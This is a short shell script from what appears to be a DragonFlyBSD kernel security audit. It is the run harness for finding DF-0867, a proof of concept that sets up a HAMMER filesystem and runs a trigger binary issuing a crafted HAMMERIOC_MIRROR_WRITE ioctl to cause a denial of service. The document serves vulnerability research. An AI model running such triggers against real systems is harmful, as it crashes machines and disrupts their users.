DragonFlyBSD Kernel Audit
DF-0867 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0867 run: ensure setup, then issue the crafted HAMMERIOC_MIRROR_WRITE.
# The ioctl needs SYSCAP_NOVFS_IOCTL, so this is run as root.  The bug itself
# is a local DoS / malicious-mirror-source remote DoS (no write primitive).
set -e
cd "$(dirname "$0")"

# Make sure a HAMMER fs is mounted and a target exists.
sh ./setup.sh >/tmp/df0867_setup.log 2>&1 || { cat /tmp/df0867_setup.log; exit 3; }
TARGET=$(awk '{print $4}' /tmp/df0867_setup.log | cut -d= -f2)

echo "[*] running trigger against $TARGET"
./trigger "$TARGET"
echo "RUN_DONE rc=$?"